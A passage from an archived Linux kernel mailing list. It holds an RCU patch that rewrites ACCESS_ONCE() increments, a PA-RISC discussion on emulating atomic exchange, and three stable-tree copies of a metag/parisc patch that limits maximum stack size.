> >         smp_mb(); /* B */  /* Avoid leaking the critical section. */
> > -       ACCESS_ONCE(this_cpu_ptr(sp->per_cpu_ref)->seq[idx]) += 1;
> > +       lp = this_cpu_ptr(&sp->per_cpu_ref->seq[idx]);
> > +       ACCESS_ONCE(*lp) = *lp + 1;
> >         preempt_enable();
> >         return idx;
> 
> What Eric said. This should just use "this_cpu_inc()" instead.
> Particularly with the smp_mb() and the preempt_enable(), there's no
> way that could/should leak, and the ACCESS_ONCE() seems pointless and
> ugly.
> 
> And the good news is, gcc _will_ generate good code for that.

And here is the update, which passes light rcutorture testing.

							Thanx, Paul

------------------------------------------------------------------------

rcu: Eliminate read-modify-write ACCESS_ONCE() calls
    
RCU contains code of the following forms:
    
    	ACCESS_ONCE(x)++;
    	ACCESS_ONCE(x) += y;
    	ACCESS_ONCE(x) -= y;
    
Now these constructs do operate correctly, but they really result in a
pair of volatile accesses, one to do the load and another to do the store.
This can be confusing, as the casual reader might well assume that (for
example) gcc might generate a memory-to-memory add instruction for each
of these three cases.  In fact, gcc will do no such thing.  Also, there
is a good chance that the kernel will move to separate load and store
variants of ACCESS_ONCE(), and constructs like the above could easily
confuse both people and scripts attempting to make that sort of change.
Finally, most of RCU's read-modify-write uses of ACCESS_ONCE() really
only need the store to be volatile, so that the read-modify-write form
might be misleading.

This commit therefore changes the above forms in RCU so that each instance
of ACCESS_ONCE() either does a load or a store, but not both.  In a few
cases, ACCESS_ONCE() was not critical, for example, for maintaining
statisitics.  In these cases, ACCESS_ONCE() has been dispensed with
entirely.

Suggested-by: Linus Torvalds <torvalds@linux-foundation.org>
Signed-off-by: Paul E. McKenney <paulmck@linux.vnet.ibm.com>

diff --git a/kernel/rcu/srcu.c b/kernel/rcu/srcu.c
index c639556f3fa0..e037f3eb2f7b 100644
--- a/kernel/rcu/srcu.c
+++ b/kernel/rcu/srcu.c
@@ -298,9 +298,9 @@ int __srcu_read_lock(struct srcu_struct *sp)
 
 	idx = ACCESS_ONCE(sp->completed) & 0x1;
 	preempt_disable();
-	ACCESS_ONCE(this_cpu_ptr(sp->per_cpu_ref)->c[idx]) += 1;
+	__this_cpu_inc(sp->per_cpu_ref->c[idx]);
 	smp_mb(); /* B */  /* Avoid leaking the critical section. */
-	ACCESS_ONCE(this_cpu_ptr(sp->per_cpu_ref)->seq[idx]) += 1;
+	__this_cpu_inc(sp->per_cpu_ref->seq[idx]);
 	preempt_enable();
 	return idx;
 }
diff --git a/kernel/rcu/tree.c b/kernel/rcu/tree.c
index d1c8e4a85b92..f0ed867070cd 100644
--- a/kernel/rcu/tree.c
+++ b/kernel/rcu/tree.c
@@ -2275,7 +2275,7 @@ static void rcu_do_batch(struct rcu_state *rsp, struct rcu_data *rdp)
 	}
 	smp_mb(); /* List handling before counting for rcu_barrier(). */
 	rdp->qlen_lazy -= count_lazy;
-	ACCESS_ONCE(rdp->qlen) -= count;
+	ACCESS_ONCE(rdp->qlen) = rdp->qlen - count;
 	rdp->n_cbs_invoked += count;
 
 	/* Reinstate batch limit if we have worked down the excess. */
@@ -2420,7 +2420,7 @@ static void force_quiescent_state(struct rcu_state *rsp)
 		if (rnp_old != NULL)
 			raw_spin_unlock(&rnp_old->fqslock);
 		if (ret) {
-			ACCESS_ONCE(rsp->n_force_qs_lh)++;
+			rsp->n_force_qs_lh++;
 			return;
 		}
 		rnp_old = rnp;
@@ -2432,7 +2432,7 @@ static void force_quiescent_state(struct rcu_state *rsp)
 	smp_mb__after_unlock_lock();
 	raw_spin_unlock(&rnp_old->fqslock);
 	if (ACCESS_ONCE(rsp->gp_flags) & RCU_GP_FLAG_FQS) {
-		ACCESS_ONCE(rsp->n_force_qs_lh)++;
+		rsp->n_force_qs_lh++;
 		raw_spin_unlock_irqrestore(&rnp_old->lock, flags);
 		return;  /* Someone beat us to it. */
 	}
@@ -2621,7 +2621,7 @@ __call_rcu(struct rcu_head *head, void (*func)(struct rcu_head *rcu),
 		local_irq_restore(flags);
 		return;
 	}
-	ACCESS_ONCE(rdp->qlen)++;
+	ACCESS_ONCE(rdp->qlen) = rdp->qlen + 1;
 	if (lazy)
 		rdp->qlen_lazy++;
 	else
@@ -3185,7 +3185,7 @@ static void _rcu_barrier(struct rcu_state *rsp)
 	 * ACCESS_ONCE() to prevent the compiler from speculating
 	 * the increment to precede the early-exit check.
 	 */
-	ACCESS_ONCE(rsp->n_barrier_done)++;
+	ACCESS_ONCE(rsp->n_barrier_done) = rsp->n_barrier_done + 1;
 	WARN_ON_ONCE((rsp->n_barrier_done & 0x1) != 1);
 	_rcu_barrier_trace(rsp, "Inc1", -1, rsp->n_barrier_done);
 	smp_mb(); /* Order ->n_barrier_done increment with below mechanism. */
@@ -3235,7 +3235,7 @@ static void _rcu_barrier(struct rcu_state *rsp)
 
 	/* Increment ->n_barrier_done to prevent duplicate work. */
 	smp_mb(); /* Keep increment after above mechanism. */
-	ACCESS_ONCE(rsp->n_barrier_done)++;
+	ACCESS_ONCE(rsp->n_barrier_done) = rsp->n_barrier_done + 1;
 	WARN_ON_ONCE((rsp->n_barrier_done & 0x1) != 0);
 	_rcu_barrier_trace(rsp, "Inc2", -1, rsp->n_barrier_done);
 	smp_mb(); /* Keep increment before caller's subsequent code. */
diff --git a/kernel/rcu/tree_plugin.h b/kernel/rcu/tree_plugin.h
index aee1e924b048..7ce734040a5e 100644
--- a/kernel/rcu/tree_plugin.h
+++ b/kernel/rcu/tree_plugin.h
@@ -2274,8 +2274,8 @@ static int rcu_nocb_kthread(void *arg)
 		tail = xchg(&rdp->nocb_tail, &rdp->nocb_head);
 		c = atomic_long_xchg(&rdp->nocb_q_count, 0);
 		cl = atomic_long_xchg(&rdp->nocb_q_count_lazy, 0);
-		ACCESS_ONCE(rdp->nocb_p_count) += c;
-		ACCESS_ONCE(rdp->nocb_p_count_lazy) += cl;
+		rdp->nocb_p_count += c;
+		rdp->nocb_p_count_lazy += cl;
 		rcu_nocb_wait_gp(rdp);
 
 		/* Each pass through the following loop invokes a callback. */


From - Thu Nov 08 21:10:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mikulas Patocka <mpatocka@redhat.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] fix a race condition in cancelable mcs spinlocks
Date: Wed, 4 Jun 2014 08:53:48 -0400 (EDT)
Lines: 41
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.02.1406040838090.4046@file01.intranet.prod.int.rdu2.redhat.com>
References: <alpine.LRH.2.02.1406011342470.20831@file01.intranet.prod.int.rdu2.redhat.com> <20140601192026.GE16155@laptop.programming.kicks-ass.net> <BLU0-SMTP387BD0AE22A4EAD432D65F97210@phx.gbl> <20140601213003.GG16155@laptop.programming.kicks-ass.net>
 <1401739000.12939.34.camel@dabdike.int.hansenpartnership.com> <20140603075616.GJ11096@twins.programming.kicks-ass.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1401886510 13726 80.91.229.3 (4 Jun 2014 12:55:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 4 Jun 2014 12:55:10 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	jejb@parisc-linux.org, deller@gmx.de, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org, chegu_vinod@hp.com,
	paulmck@linux.vnet.ibm.com, Waiman.Long@hp.com, tglx@linutronix.de,
	riel@redhat.com, akpm@linux-foundation.org, davidlohr@hp.com,
	hpa@zytor.com, andi@firstfloor.org, aswin@hp.com,
	scott.norton@hp.com, Jason Low <jason.low2@hp.com>
To: Peter Zijlstra <peterz@infradead.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jun 04 14:55:00 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WsAia-0003IF-CT
	for glpp-linux-parisc@plane.gmane.org; Wed, 04 Jun 2014 14:55:00 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752732AbaFDMy7 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 4 Jun 2014 08:54:59 -0400
Original-Received: from mx1.redhat.com ([209.132.183.28]:22568 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752305AbaFDMy6 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 4 Jun 2014 08:54:58 -0400
Original-Received: from int-mx12.intmail.prod.int.phx2.redhat.com (int-mx12.intmail.prod.int.phx2.redhat.com [10.5.11.25])
	by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s54Crsv6032321
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=OK);
	Wed, 4 Jun 2014 08:53:54 -0400
Original-Received: from file01.intranet.prod.int.rdu2.redhat.com (file01.intranet.prod.int.rdu2.redhat.com [10.11.5.7])
	by int-mx12.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s54CrrSq023148
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO);
	Wed, 4 Jun 2014 08:53:53 -0400
Original-Received: from file01.intranet.prod.int.rdu2.redhat.com (localhost [127.0.0.1])
	by file01.intranet.prod.int.rdu2.redhat.com (8.14.4/8.14.4) with ESMTP id s54Crr7b012512;
	Wed, 4 Jun 2014 08:53:53 -0400
Original-Received: from localhost (mpatocka@localhost)
	by file01.intranet.prod.int.rdu2.redhat.com (8.14.4/8.14.4/Submit) with ESMTP id s54CrmiV012508;
	Wed, 4 Jun 2014 08:53:50 -0400
X-Authentication-Warning: file01.intranet.prod.int.rdu2.redhat.com: mpatocka owned process doing -bs
X-X-Sender: mpatocka@file01.intranet.prod.int.rdu2.redhat.com
In-Reply-To: <20140603075616.GJ11096@twins.programming.kicks-ass.net>
User-Agent: Alpine 2.02 (LRH 1266 2009-07-14)
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.25
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5871 gmane.linux.kernel:1717875
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5871>



On Tue, 3 Jun 2014, Peter Zijlstra wrote:

> On Mon, Jun 02, 2014 at 12:56:40PM -0700, James Bottomley wrote:
> > Architecturally, there is a way we could emulate the atomic exchange
> > instructions.  We could have a special section of memory that always
> > triggers a page trap.  In the Q state dtlb trap handlers we could
> > recognise the "atomic" section of memory and wrap the attempted
> > modification in a semaphore.  This would add a bit of overhead, but not
> > a huge amount if we do it in the trap handlers like the TMPALIAS
> > flushes.  This involves a lot of work for us because we have to decode
> > the instructions in software, recognise the operations and manually
> > apply the hashed semaphores around them.  If we did it like this, all
> > we'd need by way of mainline support is that variables treated as
> > atomically exchangeable should be in a separate section (because it's a
> > page fault handler effectively, we need them all separated from "normal"
> > code).  This would probably require some type of variable marker and if
> > we ever saw a xchg or cmpxchg on a variable without the marker, we could
> > break the build.
> 
> Cute, but I don't think that's entirely feasible given how these things
> can be embedded in other structures (some dynamically allocated etc..).

We could deliberately misalign all the atomic variables - then, we would 
take the alignment trap (that is already written) and take the atomic 
spinlock in it.

I've got another idea - we could stop the other CPUs while xchg or cmpxchg 
is being executed. But there is a problem if the other CPU has interrupts 
disabled. Could we mask interrupts on PA-RISC in such a way that they are 
all disabled except one IPI that stops the CPU temporarily? Maybe do not 
mask interrupts with PSW I-bit and mask them with EIEM instead (leaving 
the one interrupt for cmpxchg IPI enabled)?

Mikulas
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.stable,gmane.linux.kernel.metag
Subject: [PATCH 3.10 082/103] metag: Reduce maximum stack size to 256MB
Date: Wed,  4 Jun 2014 16:25:45 -0700
Lines: 80
Approved: news@gmane.org
Message-ID: <20140604232549.490369214@linuxfoundation.org>
References: <20140604232546.704156131@linuxfoundation.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1401924834 27870 80.91.229.3 (4 Jun 2014 23:33:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 4 Jun 2014 23:33:54 +0000 (UTC)
Cc: Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
	stable@vger.kernel.org, James Hogan <james.hogan@imgtec.com>,
	Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	linux-parisc@vger.kernel.org, linux-metag@vger.kernel.org,
	John David Anglin <dave.anglin@bell.net>
To: linux-kernel@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jun 05 01:33:46 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WsKgf-0001gR-Gl
	for glpp-linux-parisc@plane.gmane.org; Thu, 05 Jun 2014 01:33:41 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752776AbaFDXdk (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 4 Jun 2014 19:33:40 -0400
Original-Received: from mail.linuxfoundation.org ([140.211.169.12]:40928 "EHLO
	mail.linuxfoundation.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754084AbaFDXYK (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 4 Jun 2014 19:24:10 -0400
Original-Received: from localhost (c-76-28-255-20.hsd1.wa.comcast.net [76.28.255.20])
	by mail.linuxfoundation.org (Postfix) with ESMTPSA id 7C190885;
	Wed,  4 Jun 2014 23:24:09 +0000 (UTC)
X-Mailer: git-send-email 1.9.0
In-Reply-To: <20140604232546.704156131@linuxfoundation.org>
User-Agent: quilt/0.63-1
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5872 gmane.linux.kernel:1718448 gmane.linux.kernel.stable:92509 gmane.linux.kernel.metag:221
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5872>

3.10-stable review patch.  If anyone has any objections, please let me know.

------------------

From: James Hogan <james.hogan@imgtec.com>

commit d71f290b4e98a39f49f2595a13be3b4d5ce8e1f1 upstream.

Specify the maximum stack size for arches where the stack grows upward
(parisc and metag) in asm/processor.h rather than hard coding in
fs/exec.c so that metag can specify a smaller value of 256MB rather than
1GB.

This fixes a BUG on metag if the RLIMIT_STACK hard limit is increased
beyond a safe value by root. E.g. when starting a process after running
"ulimit -H -s unlimited" it will then attempt to use a stack size of the
maximum 1GB which is far too big for metag's limited user virtual
address space (stack_top is usually 0x3ffff000):

BUG: failure at fs/exec.c:589/shift_arg_pages()!

Signed-off-by: James Hogan <james.hogan@imgtec.com>
Cc: Helge Deller <deller@gmx.de>
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
Cc: linux-parisc@vger.kernel.org
Cc: linux-metag@vger.kernel.org
Cc: John David Anglin <dave.anglin@bell.net>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

---
 arch/metag/include/asm/processor.h  |    2 ++
 arch/parisc/include/asm/processor.h |    2 ++
 fs/exec.c                           |    6 +++---
 3 files changed, 7 insertions(+), 3 deletions(-)

--- a/arch/metag/include/asm/processor.h
+++ b/arch/metag/include/asm/processor.h
@@ -22,6 +22,8 @@
 /* Add an extra page of padding at the top of the stack for the guard page. */
 #define STACK_TOP	(TASK_SIZE - PAGE_SIZE)
 #define STACK_TOP_MAX	STACK_TOP
+/* Maximum virtual space for stack */
+#define STACK_SIZE_MAX	(1 << 28)	/* 256 MB */
 
 /* This decides where the kernel will search for a free chunk of vm
  * space during mmap's.
--- a/arch/parisc/include/asm/processor.h
+++ b/arch/parisc/include/asm/processor.h
@@ -53,6 +53,8 @@
 #define STACK_TOP	TASK_SIZE
 #define STACK_TOP_MAX	DEFAULT_TASK_SIZE
 
+#define STACK_SIZE_MAX	(1 << 30)	/* 1 GB */
+
 #endif
 
 #ifndef __ASSEMBLY__
--- a/fs/exec.c
+++ b/fs/exec.c
@@ -654,10 +654,10 @@ int setup_arg_pages(struct linux_binprm
 	unsigned long rlim_stack;
 
 #ifdef CONFIG_STACK_GROWSUP
-	/* Limit stack size to 1GB */
+	/* Limit stack size */
 	stack_base = rlimit_max(RLIMIT_STACK);
-	if (stack_base > (1 << 30))
-		stack_base = 1 << 30;
+	if (stack_base > STACK_SIZE_MAX)
+		stack_base = STACK_SIZE_MAX;
 
 	/* Make sure we didn't let the argument array grow too large. */
 	if (vma->vm_end - vma->vm_start > stack_base)


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.stable,gmane.linux.ports.parisc,gmane.linux.kernel.metag
Subject: [PATCH 3.14 170/228] metag: Reduce maximum stack size to 256MB
Date: Wed,  4 Jun 2014 16:23:19 -0700
Lines: 75
Approved: news@gmane.org
Message-ID: <20140604232353.491191049@linuxfoundation.org>
References: <20140604232347.966798903@linuxfoundation.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1401926753 16210 80.91.229.3 (5 Jun 2014 00:05:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 5 Jun 2014 00:05:53 +0000 (UTC)
Cc: Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
	stable@vger.kernel.org, James Hogan <james.hogan@imgtec.com>,
	Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	linux-parisc@vger.kernel.org, linux-metag@vger.kernel.org,
	John David Anglin <dave.anglin@bell.net>
To: linux-kernel@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Jun 05 02:05:47 2014
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1WsLBi-0000CU-MM
	for glk-linux-kernel-3@plane.gmane.org; Thu, 05 Jun 2014 02:05:47 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755791AbaFEAFg (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 4 Jun 2014 20:05:36 -0400
Original-Received: from mail.linuxfoundation.org ([140.211.169.12]:40349 "EHLO
	mail.linuxfoundation.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753432AbaFDXWy (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Wed, 4 Jun 2014 19:22:54 -0400
Original-Received: from localhost (c-76-28-255-20.hsd1.wa.comcast.net [76.28.255.20])
	by mail.linuxfoundation.org (Postfix) with ESMTPSA id 42AF187D;
	Wed,  4 Jun 2014 23:22:54 +0000 (UTC)
X-Mailer: git-send-email 1.9.0
In-Reply-To: <20140604232347.966798903@linuxfoundation.org>
User-Agent: quilt/0.63-1
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1718557 gmane.linux.kernel.stable:92670 gmane.linux.ports.parisc:5873 gmane.linux.kernel.metag:222
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1718557>

3.14-stable review patch.  If anyone has any objections, please let me know.

------------------

From: James Hogan <james.hogan@imgtec.com>

commit d71f290b4e98a39f49f2595a13be3b4d5ce8e1f1 upstream.

Specify the maximum stack size for arches where the stack grows upward
(parisc and metag) in asm/processor.h rather than hard coding in
fs/exec.c so that metag can specify a smaller value of 256MB rather than
1GB.

This fixes a BUG on metag if the RLIMIT_STACK hard limit is increased
beyond a safe value by root. E.g. when starting a process after running
"ulimit -H -s unlimited" it will then attempt to use a stack size of the
maximum 1GB which is far too big for metag's limited user virtual
address space (stack_top is usually 0x3ffff000):

BUG: failure at fs/exec.c:589/shift_arg_pages()!

Signed-off-by: James Hogan <james.hogan@imgtec.com>
Cc: Helge Deller <deller@gmx.de>
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
Cc: linux-parisc@vger.kernel.org
Cc: linux-metag@vger.kernel.org
Cc: John David Anglin <dave.anglin@bell.net>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

---
 arch/metag/include/asm/processor.h  |    2 ++
 arch/parisc/include/asm/processor.h |    2 ++
 fs/exec.c                           |    6 +++---
 3 files changed, 7 insertions(+), 3 deletions(-)

--- a/arch/metag/include/asm/processor.h
+++ b/arch/metag/include/asm/processor.h
@@ -22,6 +22,8 @@
 /* Add an extra page of padding at the top of the stack for the guard page. */
 #define STACK_TOP	(TASK_SIZE - PAGE_SIZE)
 #define STACK_TOP_MAX	STACK_TOP
+/* Maximum virtual space for stack */
+#define STACK_SIZE_MAX	(1 << 28)	/* 256 MB */
 
 /* This decides where the kernel will search for a free chunk of vm
  * space during mmap's.
--- a/arch/parisc/include/asm/processor.h
+++ b/arch/parisc/include/asm/processor.h
@@ -55,6 +55,8 @@
 #define STACK_TOP	TASK_SIZE
 #define STACK_TOP_MAX	DEFAULT_TASK_SIZE
 
+#define STACK_SIZE_MAX	(1 << 30)	/* 1 GB */
+
 #endif
 
 #ifndef __ASSEMBLY__
--- a/fs/exec.c
+++ b/fs/exec.c
@@ -654,10 +654,10 @@ int setup_arg_pages(struct linux_binprm
 	unsigned long rlim_stack;
 
 #ifdef CONFIG_STACK_GROWSUP
-	/* Limit stack size to 1GB */
+	/* Limit stack size */
 	stack_base = rlimit_max(RLIMIT_STACK);
-	if (stack_base > (1 << 30))
-		stack_base = 1 << 30;
+	if (stack_base > STACK_SIZE_MAX)
+		stack_base = STACK_SIZE_MAX;
 
 	/* Make sure we didn't let the argument array grow too large. */
 	if (vma->vm_end - vma->vm_start > stack_base)



From - Thu Nov 08 21:10:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jiri Slaby <jslaby@suse.cz>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.stable,gmane.linux.kernel.metag
Subject: [patch added to the 3.12 stable tree] metag: Reduce maximum stack size to 256MB
Date: Fri,  6 Jun 2014 14:50:55 +0200
Lines: 87
Approved: news@gmane.org
Message-ID: <1402059090-31277-111-git-send-email-jslaby@suse.cz>
References: <1402059090-31277-1-git-send-email-jslaby@suse.cz>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1402059154 19175 80.91.229.3 (6 Jun 2014 12:52:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 6 Jun 2014 12:52:34 +0000 (UTC)
Cc: James Hogan <james.hogan@imgtec.com>, Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	linux-parisc@vger.kernel.org, linux-metag@vger.kernel.org,
	John David Anglin <dave.anglin@bell.net>,
	Jiri Slaby <jslaby@suse.cz>
To: stable@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jun 06 14:52:24 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Wstd5-0002Fk-7k
	for glpp-linux-parisc@plane.gmane.org; Fri, 06 Jun 2014 14:52:19 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752275AbaFFMwN (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 6 Jun 2014 08:52:13 -0400
Original-Received: from ip4-83-240-18-248.cust.nbox.cz ([83.240.18.248]:52331 "EHLO
	ip4-83-240-18-248.cust.nbox.cz" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752234AbaFFMvm (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 6 Jun 2014 08:51:42 -0400
Original-Received: from ku by ip4-83-240-18-248.cust.nbox.cz with local (Exim 4.80.1)
	(envelope-from <jslaby@suse.cz>)
	id 1WstcS-0008T1-SG; Fri, 06 Jun 2014 14:51:40 +0200
X-Mailer: git-send-email 1.9.3
In-Reply-To: <1402059090-31277-1-git-send-email-jslaby@suse.cz>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5874 gmane.linux.kernel.stable:93281 gmane.linux.kernel.metag:223
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5874>

From: James Hogan <james.hogan@imgtec.com>

This patch has been added to the 3.12 stable tree. If you have any
objections, please let us know.

===============

commit d71f290b4e98a39f49f2595a13be3b4d5ce8e1f1 upstream.

Specify the maximum stack size for arches where the stack grows upward
(parisc and metag) in asm/processor.h rather than hard coding in
fs/exec.c so that metag can specify a smaller value of 256MB rather than
1GB.

This fixes a BUG on metag if the RLIMIT_STACK hard limit is increased
beyond a safe value by root. E.g. when starting a process after running
"ulimit -H -s unlimited" it will then attempt to use a stack size of the
maximum 1GB which is far too big for metag's limited user virtual
address space (stack_top is usually 0x3ffff000):

BUG: failure at fs/exec.c:589/shift_arg_pages()!

Signed-off-by: James Hogan <james.hogan@imgtec.com>
Cc: Helge Deller <deller@gmx.de>
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
Cc: linux-parisc@vger.kernel.org
Cc: linux-metag@vger.kernel.org
Cc: John David Anglin <dave.anglin@bell.net>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 arch/metag/include/asm/processor.h  | 2 ++
 arch/parisc/include/asm/processor.h | 2 ++
 fs/exec.c                           | 6 +++---
 3 files changed, 7 insertions(+), 3 deletions(-)

diff --git a/arch/metag/include/asm/processor.h b/arch/metag/include/asm/processor.h
index f16477d1f571..3be8581af495 100644
--- a/arch/metag/include/asm/processor.h
+++ b/arch/metag/include/asm/processor.h
@@ -22,6 +22,8 @@
 /* Add an extra page of padding at the top of the stack for the guard page. */
 #define STACK_TOP	(TASK_SIZE - PAGE_SIZE)
 #define STACK_TOP_MAX	STACK_TOP
+/* Maximum virtual space for stack */
+#define STACK_SIZE_MAX	(1 << 28)	/* 256 MB */
 
 /* This decides where the kernel will search for a free chunk of vm
  * space during mmap's.
diff --git a/arch/parisc/include/asm/processor.h b/arch/parisc/include/asm/processor.h
index cc2290a3cace..c6ee86542fec 100644
--- a/arch/parisc/include/asm/processor.h
+++ b/arch/parisc/include/asm/processor.h
@@ -53,6 +53,8 @@
 #define STACK_TOP	TASK_SIZE
 #define STACK_TOP_MAX	DEFAULT_TASK_SIZE
 
+#define STACK_SIZE_MAX	(1 << 30)	/* 1 GB */
+
 #endif
 
 #ifndef __ASSEMBLY__
diff --git a/fs/exec.c b/fs/exec.c
index bb8afc1d1df4..95eef54de2b6 100644
--- a/fs/exec.c
+++ b/fs/exec.c
@@ -657,10 +657,10 @@ int setup_arg_pages(struct linux_binprm *bprm,
 	unsigned long rlim_stack;
 
 #ifdef CONFIG_STACK_GROWSUP
-	/* Limit stack size to 1GB */
+	/* Limit stack size */
 	stack_base = rlimit_max(RLIMIT_STACK);
-	if (stack_base > (1 << 30))
-		stack_base = 1 << 30;
+	if (stack_base > STACK_SIZE_MAX)
+		stack_base = STACK_SIZE_MAX;
 
 	/* Make sure we didn't let the argument array grow too large. */
 	if (vma->vm_end - vma->vm_start > stack_base)
-- 
1.9.3

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:26 2018
